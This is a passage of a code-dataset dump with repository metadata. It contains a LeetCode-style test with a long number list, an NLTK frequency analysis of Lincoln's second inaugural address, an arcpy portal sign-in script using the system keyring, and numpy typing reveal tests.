11451,11451,11452,11452,11453,11453,11454,11454,11455,11455,11456,11456,11457,11457,11458,11458,11459,11459,11460,11460,11461,11461,11462,11462,11463,11463,11464,11464,11465,11465,11466,11466,11467,11467,11468,11468,11469,11469,11470,11470,11471,11471,11472,11472,11473,11473,11474,11474,11475,11475,11476,11476,11477,11477,11478,11478,11479,11479,11480,11480,11481,11481,11482,11482,11483,11483,11484,11484,11485,11485,11486,11486,11487,11487,11488,11488,11489,11489,11490,11490,11491,11491,11492,11492,11493,11493,11494,11494,11495,11495,11496,11496,11497,11497,11498,11498,11499,11499,11500,11500,11501,11501,11502,11502,11503,11503,11504,11504,11505,11505,11506,11506,11507,11507,11508,11508,11509,11509,11510,11510,11511,11511,11512,11512,11513,11513,11514,11514,11515,11515,11516,11516,11517,11517,11518,11518,11519,11519,11520,11520,11521,11521,11522,11522,11523,11523,11524,11524,11525,11525,11526,11526,11527,11527,11528,11528,11529,11529,11530,11530,11531,11531,11532,11532,11533,11533,11534,11534,11535,11535,11536,11536,11537,11537,11538,11538,11539,11539,11540,11540,11541,11541,11542,11542,11543,11543,11544,11544,11545,11545,11546,11546,11547,11547,11548,11548,11549,11549,11550,11550,11551,11551,11552,11552,11553,11553,11554,11554,11555,11555,11556,11556,11557,11557,11558,11558,11559,11559,11560,11560,11561,11561,11562,11562,11563,11563,11564,11564,11565,11565,11566,11566,11567,11567,11568,11568,11569,11569,11570,11570,11571,11571,11572,11572,11573,11573,11574,11574,11575,11575,11576,11576,11577,11577,11578,11578,11579,11579,11580,11580,11581,11581,11582,11582,11583,11583,11584,11584,11585,11585,11586,11586,11587,11587,11588,11588,11589,11589,11590,11590,11591,11591,11592,11592,11593,11593,11594,11594,11595,11595,11596,11596,11597,11597,11598,11598,11599,11599,11600,11600,11601,11601,11602,11602,11603,11603,11604,11604,11605,11605,11606,11606,11607,11607,11608,11608,11609,11609,11610,11610,11611,11611,11612,11612,11613,11613,11614,11614,11615,11615,11616,11616,11617,11617,11618,11618,11619,11619,11620,11620,11621,11621,11622,11622,11623,11623,11624,11624,11625,11625,11626,11626,11627,11627,11628,11628,11629,11629,11630,11630,11631,11631,11632,11632,11633,11633,11634,11634,11635,11635,11636,11636,11637,11637,11638,11638,11639,11639,11640,11640,11641,11641,11642,11642,11643,11643,11644,11644,11645,11645,11646,11646,11647,11647,11648,11648,11649,11649,11650,11650,11651,11651,11652,11652,11653,11653,11654,11654,11655,11655,11656,11656,11657,11657,11658,11658,11659,11659,11660,11660,11661,11661,11662,11662,11663,11663,11664,11664,11665,11665,11666,11666,11667,11667,11668,11668,11669,11669,11670,11670,11671,11671,11672,11672,11673,11673,11674,11674,11675,11675,11676,11676,11677,11677,11678,11678,11679,11679,11680,11680,11681,11681,11682,11682,11683,11683,11684,11684,11685,11685,11686,11686,11687,11687,11688,11688,11689,11689,11690,11690,11691,11691,11692,11692,11693,11693,11694,11694,11695,11695,11696,11696,11697,11697,11698,11698,11699,11699,11700,11700,11701,11701,11702,11702,11703,11703,11704,11704,11705,11705,11706,11706,11707,11707,11708,11708,11709,11709,11710,11710,11711,11711,11712,11712,11713,11713,11714,11714,11715,11715,11716,11716,11717,11717,11718,11718,11719,11719,11720,11720,11721,11721,11722,11722,11723,11723,11724,11724,11725,11725,11726,11726,11727,11727,11728,11728,11729,11729,11730,11730,11731,11731,11732,11732,11733,11733,11734,11734,11735,11735,11736,11736,11737,11737,11738,11738,11739,11739,11740,11740,11741,11741,11742,11742,11743,11743,11744,11744,11745,11745,11746,11746,11747,11747,11748,11748,11749,11749,11750,11750,11751,11751,11752,11752,11753,11753,11754,11754,11755,11755,11756,11756,11757,11757,11758,11758,11759,11759,11760,11760,11761,11761,11762,11762,11763,11763,11764,11764,11765,11765,11766,11766,11767,11767,11768,11768,11769,11769,11770,11770,11771,11771,11772,11772,11773,11773,11774,11774,11775,11775,11776,11776,11777,11777,11778,11778,11779,11779,11780,11780,11781,11781,11782,11782,11783,11783,11784,11784,11785,11785,11786,11786,11787,11787,11788,11788,11789,11789,11790,11790,11791,11791,11792,11792,11793,11793,11794,11794,11795,11795,11796,11796,11797,11797,11798,11798,11799,11799,11800,11800,11801,11801,11802,11802,11803,11803,11804,11804,11805,11805,11806,11806,11807,11807,11808,11808,11809,11809,11810,11810,11811,11811,11812,11812,11813,11813,11814,11814,11815,11815,11816,11816,11817,11817,11818,11818,11819,11819,11820,11820,11821,11821,11822,11822,11823,11823,11824,11824,11825,11825,11826,11826,11827,11827,11828,11828,11829,11829,11830,11830,11831,11831,11832,11832,11833,11833,11834,11834,11835,11835,11836,11836,11837,11837,11838,11838,11839,11839,11840,11840,11841,11841,11842,11842,11843,11843,11844,11844,11845,11845,11846,11846,11847,11847,11848,11848,11849,11849,11850,11850,11851,11851,11852,11852,11853,11853,11854,11854,11855,11855,11856,11856,11857,11857,11858,11858,11859,11859,11860,11860,11861,11861,11862,11862,11863,11863,11864,11864,11865,11865,11866,11866,11867,11867,11868,11868,11869,11869,11870,11870,11871,11871,11872,11872,11873,11873,11874,11874,11875,11875,11876,11876,11877,11877,11878,11878,11879,11879,11880,11880,11881,11881,11882,11882,11883,11883,11884,11884,11885,11885,11886,11886,11887,11887,11888,11888,11889,11889,11890,11890,11891,11891,11892,11892,11893,11893,11894,11894,11895,11895,11896,11896,11897,11897,11898,11898,11899,11899,11900,11900,11901,11901,11902,11902,11903,11903,11904,11904,11905,11905,11906,11906,11907,11907,11908,11908,11909,11909,11910,11910,11911,11911,11912,11912,11913,11913,11914,11914,11915,11915,11916,11916,11917,11917,11918,11918,11919,11919,11920,11920,11921,11921,11922,11922,11923,11923,11924,11924,11925,11925,11926,11926,11927,11927,11928,11928,11929,11929,11930,11930,11931,11931,11932,11932,11933,11933,11934,11934,11935,11935,11936,11936,11937,11937,11938,11938,11939,11939,11940,11940,11941,11941,11942,11942,11943,11943,11944,11944,11945,11945,11946,11946,11947,11947,11948,11948,11949,11949,11950,11950,11951,11951,11952,11952,11953,11953,11954,11954,11955,11955,11956,11956,11957,11957,11958,11958,11959,11959,11960,11960,11961,11961,11962,11962,11963,11963,11964,11964,11965,11965,11966,11966,11967,11967,11968,11968,11969,11969,11970,11970,11971,11971,11972,11972,11973,11973,11974,11974,11975,11975,11976,11976,11977,11977,11978,11978,11979,11979,11980,11980,11981,11981,11982,11982,11983,11983,11984,11984,11985,11985,11986,11986,11987,11987,11988,11988,11989,11989,11990,11990,11991,11991,11992,11992,11993,11993,11994,11994,11995,11995,11996,11996,11997,11997,11998,11998,11999,11999,12000,12000,12001,12001,12002,12002,12003,12003,12004,12004,12005,12005,12006,12006,12007,12007,12008,12008,12009,12009,12010,12010,12011,12011,12012,12012,12013,12013,12014,12014,12015,12015,12016,12016,12017,12017,12018,12018,12019,12019,12020,12020,12021,12021,12022,12022,12023,12023,12024,12024,12025,12025,12026,12026,12027,12027,12028,12028,12029,12029,12030,12030,12031,12031,12032,12032,12033,12033,12034,12034,12035,12035,12036,12036,12037,12037,12038,12038,12039,12039,12040,12040,12041,12041,12042,12042,12043,12043,12044,12044,12045,12045,12046,12046,12047,12047,12048,12048,12049,12049,12050,12050,12051,12051,12052,12052,12053,12053,12054,12054,12055,12055,12056,12056,12057,12057,12058,12058,12059,12059,12060,12060,12061,12061,12062,12062,12063,12063,12064,12064,12065,12065,12066,12066,12067,12067,12068,12068,12069,12069,12070,12070,12071,12071,12072,12072,12073,12073,12074,12074,12075,12075,12076,12076,12077,12077,12078,12078,12079,12079,12080,12080,12081,12081,12082,12082,12083,12083,12084,12084,12085,12085,12086,12086,12087,12087,12088,12088,12089,12089,12090,12090,12091,12091,12092,12092,12093,12093,12094,12094,12095,12095,12096,12096,12097,12097,12098,12098,12099,12099,12100,12100,12101,12101,12102,12102,12103,12103,12104,12104,12105,12105,12106,12106,12107,12107,12108,12108,12109,12109,12110,12110,12111,12111,12112,12112,12113,12113,12114,12114,12115,12115,12116,12116,12117,12117,12118,12118,12119,12119,12120,12120,12121,12121,12122,12122,12123,12123,12124,12124,12125,12125,12126,12126,12127,12127,12128,12128,12129,12129,12130,12130,12131,12131,12132,12132,12133,12133,12134,12134,12135,12135,12136,12136,12137,12137,12138,12138,12139,12139,12140,12140,12141,12141,12142,12142,12143,12143,12144,12144,12145,12145,12146,12146,12147,12147,12148,12148,12149,12149,12150,12150,12151,12151,12152,12152,12153,12153,12154,12154,12155,12155,12156,12156,12157,12157,12158,12158,12159,12159,12160,12160,12161,12161,12162,12162,12163,12163,12164,12164,12165,12165,12166,12166,12167,12167,12168,12168,12169,12169,12170,12170,12171,12171,12172,12172,12173,12173,12174,12174,12175,12175,12176,12176,12177,12177,12178,12178,12179,12179,12180,12180,12181,12181,12182,12182,12183,12183,12184,12184,12185,12185,12186,12186,12187,12187,12188,12188,12189,12189,12190,12190,12191,12191,12192,12192,12193,12193,12194,12194,12195,12195,12196,12196,12197,12197,12198,12198,12199,12199,12200,12200,12201,12201,12202,12202,12203,12203,12204,12204,12205,12205,12206,12206,12207,12207,12208,12208,12209,12209,12210,12210,12211,12211,12212,12212,12213,12213,12214,12214,12215,12215,12216,12216,12217,12217,12218,12218,12219,12219,12220,12220,12221,12221,12222,12222,12223,12223,12224,12224,12225,12225,12226,12226,12227,12227,12228,12228,12229,12229,12230,12230,12231,12231,12232,12232,12233,12233,12234,12234,12235,12235,12236,12236,12237,12237,12238,12238,12239,12239,12240,12240,12241,12241,12242,12242,12243,12243,12244,12244,12245,12245,12246,12246,12247,12247,12248,12248,12249,12249,12250,12250,12251,12251,12252,12252,12253,12253,12254,12254,12255,12255,12256,12256,12257,12257,12258,12258,12259,12259,12260,12260,12261,12261,12262,12262,12263,12263,12264,12264,12265,12265,12266,12266,12267,12267,12268,12268,12269,12269,12270,12270,12271,12271,12272,12272,12273,12273,12274,12274,12275,12275,12276,12276,12277,12277,12278,12278,12279,12279,12280,12280,12281,12281,12282,12282,12283,12283,12284,12284,12285,12285,12286,12286,12287,12287,12288,12288,12289,12289,12290,12290,12291,12291,12292,12292,12293,12293,12294,12294,12295,12295,12296,12296,12297,12297,12298,12298,12299,12299,12300,12300,12301,12301,12302,12302,12303,12303,12304,12304,12305,12305,12306,12306,12307,12307,12308,12308,12309,12309,12310,12310,12311,12311,12312,12312,12313,12313,12314,12314,12315,12315,12316,12316,12317,12317,12318,12318,12319,12319,12320,12320,12321,12321,12322,12322,12323,12323,12324,12324,12325,12325,12326,12326,12327,12327,12328,12328,12329,12329,12330,12330,12331,12331,12332,12332,12333,12333,12334,12334,12335,12335,12336,12336,12337,12337,12338,12338,12339,12339,12340,12340,12341,12341,12342,12342,12343,12343,12344,12344,12345,12345,12346,12346,12347,12347,12348,12348,12349,12349,12350,12350,12351,12351,12352,12352,12353,12353,12354,12354,12355,12355,12356,12356,12357,12357,12358,12358,12359,12359,12360,12360,12361,12361,12362,12362,12363,12363,12364,12364,12365,12365,12366,12366,12367,12367,12368,12368,12369,12369,12370,12370,12371,12371,12372,12372,12373,12373,12374,12374,12375,12375,12376,12376,12377,12377,12378,12378,12379,12379,12380,12380,12381,12381,12382,12382,12383,12383,12384,12384,12385,12385,12386,12386,12387,12387,12388,12388,12389,12389,12390,12390,12391,12391,12392,12392,12393,12393,12394,12394,12395,12395,12396,12396,12397,12397,12398,12398,12399,12399,12400,12400,12401,12401,12402,12402,12403,12403,12404,12404,12405,12405,12406,12406,12407,12407,12408,12408,12409,12409,12410,12410,12411,12411,12412,12412,12413,12413,12414,12414,12415,12415,12416,12416,12417,12417,12418,12418,12419,12419,12420,12420,12421,12421,12422,12422,12423,12423,12424,12424,12425,12425,12426,12426,12427,12427,12428,12428,12429,12429,12430,12430,12431,12431,12432,12432,12433,12433,12434,12434,12435,12435,12436,12436,12437,12437,12438,12438,12439,12439,12440,12440,12441,12441,12442,12442,12443,12443,12444,12444,12445,12445,12446,12446,12447,12447,12448,12448,12449,12449,12450,12450,12451,12451,12452,12452,12453,12453,12454,12454,12455,12455,12456,12456,12457,12457,12458,12458,12459,12459,12460,12460,12461,12461,12462,12462,12463,12463,12464,12464,12465,12465,12466,12466,12467,12467,12468,12468,12469,12469,12470,12470,12471,12471,12472,12472,12473,12473,12474,12474,12475,12475,12476,12476,12477,12477,12478,12478,12479,12479,12480,12480,12481,12481,12482,12482,12483,12483,12484,12484,12485,12485,12486,12486,12487,12487,12488,12488,12489,12489,12490,12490,12491,12491,12492,12492,12493,12493,12494,12494,12495,12495,12496,12496,12497,12497,12498,12498,12499,12499,12500,12500,12501,12501,12502,12502,12503,12503,12504,12504,12505,12505,12506,12506,12507,12507,12508,12508,12509,12509,12510,12510,12511,12511,12512,12512,12513,12513,12514,12514,12515,12515,12516,12516,12517,12517,12518,12518,12519,12519,12520,12520,12521,12521,12522,12522,12523,12523,12524,12524,12525,12525,12526,12526,12527,12527,12528,12528,12529,12529,12530,12530,12531,12531,12532,12532,12533,12533,12534,12534,12535,12535,12536,12536,12537,12537,12538,12538,12539,12539,12540,12540,12541,12541,12542,12542,12543,12543,12544,12544,12545,12545,12546,12546,12547,12547,12548,12548,12549,12549,12550,12550,12551,12551,12552,12552,12553,12553,12554,12554,12555,12555,12556,12556,12557,12557,12558,12558,12559,12559,12560,12560,12561,12561,12562,12562,12563,12563,12564,12564,12565,12565,12566,12566,12567,12567,12568,12568,12569,12569,12570,12570,12571,12571,12572,12572,12573,12573,12574,12574,12575,12575,12576,12576,12577,12577,12578,12578,12579,12579,12580,12580,12581,12581,12582,12582,12583,12583,12584,12584,12585,12585,12586,12586,12587,12587,12588,12588,12589,12589,12590,12590,12591,12591,12592,12592,12593,12593,12594,12594,12595,12595,12596,12596,12597,12597,12598,12598,12599,12599,12600,12600,12601,12601,12602,12602,12603,12603,12604,12604,12605,12605,12606,12606,12607,12607,12608,12608,12609,12609,12610,12610,12611,12611,12612,12612,12613,12613,12614,12614,12615,12615,12616,12616,12617,12617,12618,12618,12619,12619,12620,12620,12621,12621,12622,12622,12623,12623,12624,12624,12625,12625,12626,12626,12627,12627,12628,12628,12629,12629,12630,12630,12631,12631,12632,12632,12633,12633,12634,12634,12635,12635,12636,12636,12637,12637,12638,12638,12639,12639,12640,12640,12641,12641,12642,12642,12643,12643,12644,12644,12645,12645,12646,12646,12647,12647,12648,12648,12649,12649,12650,12650,12651,12651,12652,12652,12653,12653,12654,12654,12655,12655,12656,12656,12657,12657,12658,12658,12659,12659,12660,12660,12661,12661,12662,12662,12663,12663,12664,12664,12665,12665,12666,12666,12667,12667,12668,12668,12669,12669,12670,12670,12671,12671,12672,12672,12673,12673,12674,12674,12675,12675,12676,12676,12677,12677,12678,12678,12679,12679,12680,12680,12681,12681,12682,12682,12683,12683,12684,12684,12685,12685,12686,12686,12687,12687,12688,12688,12689,12689,12690,12690,12691,12691,12692,12692,12693,12693,12694,12694,12695,12695,12696,12696,12697,12697,12698,12698,12699,12699,12700,12700,12701,12701,12702,12702,12703,12703,12704,12704,12705,12705,12706,12706,12707,12707,12708,12708,12709,12709,12710,12710,12711,12711,12712,12712,12713,12713,12714,12714,12715,12715,12716,12716,12717,12717,12718,12718,12719,12719,12720,12720,12721,12721,12722,12722,12723,12723,12724,12724,12725,12725,12726,12726,12727,12727,12728,12728,12729,12729,12730,12730,12731,12731,12732,12732,12733,12733,12734,12734,12735,12735,12736,12736,12737,12737,12738,12738,12739,12739,12740,12740,12741,12741,12742,12742,12743,12743,12744,12744,12745,12745,12746,12746,12747,12747,12748,12748,12749,12749,12750,12750,12751,12751,12752,12752,12753,12753,12754,12754,12755,12755,12756,12756,12757,12757,12758,12758,12759,12759,12760,12760,12761,12761,12762,12762,12763,12763,12764,12764,12765,12765,12766,12766,12767,12767,12768,12768,12769,12769,12770,12770,12771,12771,12772,12772,12773,12773,12774,12774,12775,12775,12776,12776,12777,12777,12778,12778,12779,12779,12780,12780,12781,12781,12782,12782,12783,12783,12784,12784,12785,12785,12786,12786,12787,12787,12788,12788,12789,12789,12790,12790,12791,12791,12792,12792,12793,12793,12794,12794,12795,12795,12796,12796,12797,12797,12798,12798,12799,12799,12800,12800,12801,12801,12802,12802,12803,12803,12804,12804,12805,12805,12806,12806,12807,12807,12808,12808,12809,12809,12810,12810,12811,12811,12812,12812,12813,12813,12814,12814,12815,12815,12816,12816,12817,12817,12818,12818,12819,12819,12820,12820,12821,12821,12822,12822,12823,12823,12824,12824,12825,12825,12826,12826,12827,12827,12828,12828,12829,12829,12830,12830,12831,12831,12832,12832,12833,12833,12834,12834,12835,12835,12836,12836,12837,12837,12838,12838,12839,12839,12840,12840,12841,12841,12842,12842,12843,12843,12844,12844,12845,12845,12846,12846,12847,12847,12848,12848,12849,12849,12850,12850,12851,12851,12852,12852,12853,12853,12854,12854,12855,12855,12856,12856,12857,12857,12858,12858,12859,12859,12860,12860,12861,12861,12862,12862,12863,12863,12864,12864,12865,12865,12866,12866,12867,12867,12868,12868,12869,12869,12870,12870,12871,12871,12872,12872,12873,12873,12874,12874,12875,12875,12876,12876,12877,12877,12878,12878,12879,12879,12880,12880,12881,12881,12882,12882,12883,12883,12884,12884,12885,12885,12886,12886,12887,12887,12888,12888,12889,12889,12890,12890,12891,12891,12892,12892,12893,12893,12894,12894,12895,12895,12896,12896,12897,12897,12898,12898,12899,12899,12900,12900,12901,12901,12902,12902,12903,12903,12904,12904,12905,12905,12906,12906,12907,12907,12908,12908,12909,12909,12910,12910,12911,12911,12912,12912,12913,12913,12914,12914,12915,12915,12916,12916,12917,12917,12918,12918,12919,12919,12920,12920,12921,12921,12922,12922,12923,12923,12924,12924,12925,12925,12926,12926,12927,12927,12928,12928,12929,12929,12930,12930,12931,12931,12932,12932,12933,12933,12934,12934,12935,12935,12936,12936,12937,12937,12938,12938,12939,12939,12940,12940,12941,12941,12942,12942,12943,12943,12944,12944,12945,12945,12946,12946,12947,12947,12948,12948,12949,12949,12950,12950,12951,12951,12952,12952,12953,12953,12954,12954,12955,12955,12956,12956,12957,12957,12958,12958,12959,12959,12960,12960,12961,12961,12962,12962,12963,12963,12964,12964,12965,12965,12966,12966,12967,12967,12968,12968,12969,12969,12970,12970,12971,12971,12972,12972,12973,12973,12974,12974,12975,12975,12976,12976,12977,12977,12978,12978,12979,12979,12980,12980,12981,12981,12982,12982,12983,12983,12984,12984,12985,12985,12986,12986,12987,12987,12988,12988,12989,12989,12990,12990,12991,12991,12992,12992,12993,12993,12994,12994,12995,12995,12996,12996,12997,12997,12998,12998,12999,12999,13000,13000]
sol = Solution()
res = sol.maxEqualFreq(nums)
print(res, nums[:res])
| 2,462.309091 | 133,793 | 0.801 | 26,229 | 135,427 | 4.134774 | 0.497579 | 0.000996 | 0.000415 | 0.000516 | 0.001189 | 0.001143 | 0.000885 | 0.000885 | 0.000885 | 0.000885 | 0 | 0.800607 | 0.005339 | 135,427 | 54 | 133,794 | 2,507.907407 | 0.004499 | 0.988983 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025 | false | 0 | 0.05 | 0 | 0.125 | 0.025 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
8b80b681f41976542c78255da8e8faa37258408b | 4,250 | py | Python | Chapter15/ch15_historicalTextAnalysis.py | PacktPublishing/Applied-Computational-Thinking-with-Python | fd9982383c5b473ffa1640998540d602876816e5 | [
"MIT"
] | 18 | 2020-11-27T22:41:12.000Z | 2021-12-27T08:20:46.000Z | Chapter15/ch15_historicalTextAnalysis.py | PacktPublishing/Applied-Computational-Thinking-with-Python | fd9982383c5b473ffa1640998540d602876816e5 | [
"MIT"
] | null | null | null | Chapter15/ch15_historicalTextAnalysis.py | PacktPublishing/Applied-Computational-Thinking-with-Python | fd9982383c5b473ffa1640998540d602876816e5 | [
"MIT"
] | 8 | 2020-11-30T17:51:11.000Z | 2021-12-25T05:23:02.000Z | import nltk
from nltk.tokenize import sent_tokenize, word_tokenize
text = 'Fellow-Countrymen: At this second appearing to take the oath of the Presidential office there is less occasion for an extended address than there was at the first. Then a statement somewhat in detail of a course to be pursued seemed fitting and proper. Now, at the expiration of four years, during which public declarations have been constantly called forth on every point and phase of the great contest which still absorbs the attention and engrosses the energies of the nation, little that is new could be presented. The progress of our arms, upon which all else chiefly depends, is as well known to the public as to myself, and it is, I trust, reasonably satisfactory and encouraging to all. With high hope for the future, no prediction in regard to it is ventured. On the occasion corresponding to this four years ago all thoughts were anxiously directed to an impending civil war. All dreaded it, all sought to avert it. While the inaugural address was being delivered from this place, devoted altogether to saving the Union without war, urgent agents were in the city seeking to destroy it without war—seeking to dissolve the Union and divide effects by negotiation. Both parties deprecated war, but one of them would make war rather than let the nation survive, and the other would accept war rather than let it perish, and the war came. One-eighth of the whole population were colored slaves, not distributed generally over the Union, but localized in the southern part of it. These slaves constituted a peculiar and powerful interest. All knew that this interest was somehow the cause of the war. To strengthen, perpetuate, and extend this interest was the object for which the insurgents would rend the Union even by war, while the Government claimed no right to do more than to restrict the territorial enlargement of it. Neither party expected for the war the magnitude or the duration which it has already attained. Neither anticipated that the cause of the conflict might cease with or even before the conflict itself should cease. Each looked for an easier triumph, and a result less fundamental and astounding. Both read the same Bible and pray to the same God, and each invokes His aid against the other. It may seem strange that any men should dare to ask a just God\’s assistance in wringing their bread from the sweat of other men\’s faces, but let us judge not, that we be not judged. The prayers of both could not be answered. That of neither has been answered fully. The Almighty has His own purposes. \“Woe unto the world because of offenses; for it must needs be that offenses come, but woe to that man by whom the offense cometh.\” If we shall suppose that American slavery is one of those offenses which, in the providence of God, must needs come, but which, having continued through His appointed time, He now wills to remove, and that He gives to both North and South this terrible war as the woe due to those by whom the offense came, shall we discern therein any departure from those divine attributes which the believers in a living God always ascribe to Him? Fondly do we hope, fervently do we pray, that this mighty scourge of war may speedily pass away. Yet, if God wills that it continue until all the wealth piled by the bondsman\’s two hundred and fifty years of unrequited toil shall be sunk, and until every drop of blood drawn with the lash shall be paid by another drawn with the sword, as was said three thousand years ago, so still it must be said \“the judgments of the Lord are true and righteous altogether.\” With malice toward none, with charity for all, with firmness in the right as God gives us to see the right, let us strive on to finish the work we are in, to bind up the nation\’s wounds, to care for him who shall have borne the battle and for his widow and his orphan, to do all which may achieve and cherish a just and lasting peace among ourselves and with all nations.'
tokenized_word = word_tokenize(text)
print(tokenized_word)
from nltk.probability import FreqDist
fdist = FreqDist(tokenized_word)
print(fdist)
fdist.most_common(2)
import matplotlib.pyplot as plt
fdist.plot(30, cumulative = False)
plt.show()
| 283.333333 | 3,938 | 0.8 | 752 | 4,250 | 4.513298 | 0.476064 | 0.010312 | 0.009428 | 0.009428 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000853 | 0.172 | 4,250 | 14 | 3,939 | 303.571429 | 0.963342 | 0 | 0 | 0 | 0 | 0.083333 | 0.924471 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.333333 | 0 | 0.333333 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 5 |
8bb8de9fbab3b39f9d1ed60e8c06521cc0d06c23 | 172 | py | Python | image_server/portal_creds.py | ASFHyP3/hyp3-nasa-disasters | 1994cbe57cf9b3968e0831b1555cc4dd0b5f378f | [
"BSD-3-Clause"
] | null | null | null | image_server/portal_creds.py | ASFHyP3/hyp3-nasa-disasters | 1994cbe57cf9b3968e0831b1555cc4dd0b5f378f | [
"BSD-3-Clause"
] | 10 | 2021-02-22T18:10:13.000Z | 2022-03-24T02:00:55.000Z | image_server/portal_creds.py | ASFHyP3/hyp3-nasa-disasters | 1994cbe57cf9b3968e0831b1555cc4dd0b5f378f | [
"BSD-3-Clause"
] | 2 | 2021-04-01T12:16:31.000Z | 2021-07-13T21:58:09.000Z | import arcpy
import keyring
pw = keyring.get_password("portal_creds", "hkristenson_ASF")
arcpy.SignInToPortal(r'https://asf-daac.maps.arcgis.com/', 'hkristenson_ASF', pw)
| 28.666667 | 81 | 0.77907 | 24 | 172 | 5.416667 | 0.708333 | 0.215385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069767 | 172 | 5 | 82 | 34.4 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0.438596 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.25 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 5 |
473e922a2a7979e165d7c7818df407da8c487dfa | 2,198 | py | Python | numpy/typing/tests/data/reveal/nditer.py | fishmandev/numpy | 7e8285ba48179b19b4d251ac3447569141c7e8f7 | [
"BSD-3-Clause"
] | null | null | null | numpy/typing/tests/data/reveal/nditer.py | fishmandev/numpy | 7e8285ba48179b19b4d251ac3447569141c7e8f7 | [
"BSD-3-Clause"
] | 79 | 2021-06-23T21:05:30.000Z | 2022-03-28T08:11:46.000Z | numpy/typing/tests/data/reveal/nditer.py | fishmandev/numpy | 7e8285ba48179b19b4d251ac3447569141c7e8f7 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
nditer_obj: np.nditer
reveal_type(np.nditer([0, 1], flags=["c_index"])) # E: numpy.nditer
reveal_type(np.nditer([0, 1], op_flags=[["readonly", "readonly"]])) # E: numpy.nditer
reveal_type(np.nditer([0, 1], op_dtypes=np.int_)) # E: numpy.nditer
reveal_type(np.nditer([0, 1], order="C", casting="no")) # E: numpy.nditer
reveal_type(nditer_obj.dtypes) # E: tuple[numpy.dtype[Any]]
reveal_type(nditer_obj.finished) # E: bool
reveal_type(nditer_obj.has_delayed_bufalloc) # E: bool
reveal_type(nditer_obj.has_index) # E: bool
reveal_type(nditer_obj.has_multi_index) # E: bool
reveal_type(nditer_obj.index) # E: int
reveal_type(nditer_obj.iterationneedsapi) # E: bool
reveal_type(nditer_obj.iterindex) # E: int
reveal_type(nditer_obj.iterrange) # E: tuple[builtins.int]
reveal_type(nditer_obj.itersize) # E: int
reveal_type(nditer_obj.itviews) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]]
reveal_type(nditer_obj.multi_index) # E: tuple[builtins.int]
reveal_type(nditer_obj.ndim) # E: int
reveal_type(nditer_obj.nop) # E: int
reveal_type(nditer_obj.operands) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]]
reveal_type(nditer_obj.shape) # E: tuple[builtins.int]
reveal_type(nditer_obj.value) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]]
reveal_type(nditer_obj.close()) # E: None
reveal_type(nditer_obj.copy()) # E: numpy.nditer
reveal_type(nditer_obj.debug_print()) # E: None
reveal_type(nditer_obj.enable_external_loop()) # E: None
reveal_type(nditer_obj.iternext()) # E: bool
reveal_type(nditer_obj.remove_axis(0)) # E: None
reveal_type(nditer_obj.remove_multi_index()) # E: None
reveal_type(nditer_obj.reset()) # E: None
reveal_type(len(nditer_obj)) # E: int
reveal_type(iter(nditer_obj)) # E: Iterator[builtins.tuple[numpy.ndarray[Any, numpy.dtype[Any]]]]
reveal_type(next(nditer_obj)) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]]
reveal_type(nditer_obj.__copy__()) # E: numpy.nditer
with nditer_obj as f:
reveal_type(f) # E: numpy.nditer
reveal_type(nditer_obj[0]) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nditer_obj[:]) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]]
nditer_obj[0] = 0
nditer_obj[:] = [0, 1]
| 46.765957 | 98 | 0.739763 | 361 | 2,198 | 4.252078 | 0.166205 | 0.234528 | 0.291857 | 0.34658 | 0.738762 | 0.730945 | 0.558958 | 0.393485 | 0.289902 | 0.241042 | 0 | 0.007089 | 0.101456 | 2,198 | 46 | 99 | 47.782609 | 0.770127 | 0.312102 | 0 | 0 | 0 | 0 | 0.017627 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.02439 | 0 | 0.02439 | 0.02439 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
4751caceeb14f0dddc937d90b4c953a870ffc3f8 | 131 | py | Python | fluid/PaddleCV/image_classification/utils/__init__.py | awesome-archive/models-1 | 747f947eff1511d3291d86dcd27736214dfbf2bc | [
"Apache-2.0"
] | 1 | 2019-03-07T12:50:05.000Z | 2019-03-07T12:50:05.000Z | fluid/PaddleCV/image_classification/utils/__init__.py | ThinkPeace/models | 5d25e00c94943e50e64780a244136f88f13c0a88 | [
"Apache-2.0"
] | null | null | null | fluid/PaddleCV/image_classification/utils/__init__.py | ThinkPeace/models | 5d25e00c94943e50e64780a244136f88f13c0a88 | [
"Apache-2.0"
